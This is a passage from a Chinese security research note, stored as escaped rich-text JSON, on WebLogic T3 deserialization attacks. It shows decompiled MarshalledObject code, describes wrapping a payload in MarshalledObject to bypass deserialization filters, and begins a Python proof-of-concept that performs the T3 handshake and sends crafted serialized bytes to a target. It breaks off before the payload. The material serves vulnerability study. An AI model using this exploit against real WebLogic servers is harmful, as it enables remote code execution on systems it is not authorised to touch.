for(int var5 = 0; var5 &lt; this.objBytes.length; ++var5) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XlEY-1673884872361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z522-1673884872360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var4 = 31 * var4 + this.objBytes[var5];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;13ln-1673884872363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZaAI-1673884872362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q7Kw-1673884872365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1Psv-1673884872364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mb1c-1673884872367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DXwZ-1673884872366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.hash = var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sUrx-1673884872370&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fpbH-1673884872369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ubgO-1673884872372&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7VSO-1673884872371&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SCvn-1673884872374&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aQTf-1673884872373&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DIP7-1673884872376&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FT1J-1673884872375&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HKNR-1673884872378&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kbkx-1673884872377&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.objBytes == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xuIb-1673884872380&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MtFY-1673884872379&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VtXd-1673884872382&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DL4j-1673884872381&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3A1z-1673884872384&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aXd1-1673884872383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qQny-1673884872386&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dFXy-1673884872385&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectInputStream var2 = new ObjectInputStream(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5ZWp-1673884872388&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WmMB-1673884872387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Object var3 = var2.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Llva-1673884872390&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9YEV-1673884872389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SEDz-1673884872392&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7A1D-1673884872391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var3;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cn9g-1673884872394&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eDwI-1673884872393&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bZQs-1673884872396&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lkyJ-1673884872395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zdny-1673883241049&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V06C-1673883241047&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;MarshalledObject并未重写&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]},{&#34;text&#34;:&#34;readObject方法或实现readExternal方法，使用原生的&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;ObjectInputStream方法实现反序列化。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LADH-1673885150353&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7tYF-1673885150352&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R9sj-1673885150351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject marshalledObject = new MarshalledObject(payload_here);&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5iJb-1673883241528&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;c3NP-1673883241526&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;直接用&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;MarshalledObject的构造方法生成对象，封装反序列化流：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bSVB-1673885773909&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5207/WEBRESOURCEdffb245e8291b93f43561013a0912372&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EIql-1673861452399&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CTvx-1673861452398&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y9Y6-1673886011236&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0EHs-1673886011233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;还是使用上文中的poc脚本：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;49an-1673886049175&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Zo1-1673886049046&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b2ND-1673886049045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1kaL-1673886074102&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O4Ay-1673886074101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ClWH-1673886074104&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cvp4-1673886074103&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tEJH-1673886074106&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n7FM-1673886074105&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KBb9-1673886074108&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7wEe-1673886074107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import time&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ONHJ-1673886074110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZjHI-1673886074109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from multiprocessing.managers import SyncManager&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Aagr-1673886074112&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8G1T-1673886074111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from typing import Any, Dict, List, Mapping, Tuple, Union&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0sjj-1673886074114&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;78cX-1673886074113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K6hN-1673886074117&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9N34-1673886074115&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from stars import target_type, Star&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;khsl-1673886074119&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XUr3-1673886074118&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p37j-1673886074121&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QJW1-1673886074120&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -&gt; (bool, dict):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gcAt-1673886074123&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j16o-1673886074122&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # T3协议握手&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RQkL-1673886074125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QylG-1673886074124&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        dport = int(dport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;olzu-1673886074127&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5dh1-1673886074126&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;egMg-1673886074129&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7rca-1673886074128&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.settimeout(timeout)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yLSv-1673886074131&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OaQ6-1673886074130&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tf2a-1673886074133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XvuU-1673886074132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.connect((dip, dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fwX5-1673886074135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2UCP-1673886074134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;chqS-1673886074137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2zlE-1673886074136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AANv-1673886074139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HZul-1673886074138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except ConnectionRefusedError:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KRtU-1673886074141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5iUn-1673886074140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection refuse.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SWIx-1673886074143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QIjQ-1673886074142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VUJA-1673886074145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fSe7-1673886074144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a&#39;))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0ssj-1673886074147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6fWr-1673886074146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qtuj-1673886074149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cwNA-1673886074148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JCM8-1673886074151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DLuS-1673886074150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ozRt-1673886074153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;35Mi-1673886074152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # 构造T3协议头&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lydc-1673886074155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;By3x-1673886074154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data1 = &#39;000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oV2z-1673886074157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2B83-1673886074156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data2 = &#39;007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07&#39;.format(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yn1c-1673886074159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IguK-1673886074158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;{:04x}&#39;.format(dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Skeb-1673886074161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SQDt-1673886074160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data3 = &#39;1a7727000d3234322e323134&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oO9i-1673886074163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sg44-1673886074162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data4 = &#39;2e312e32353461863d1d0000000078&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yLin-1673886074165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uZrH-1673886074164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for d in [data1, data2, data3, data4]:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;345J-1673886074167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i7eL-1673886074166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.send(bytes.fromhex(d))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ANqP-1673886074169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fNh9-1673886074168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = 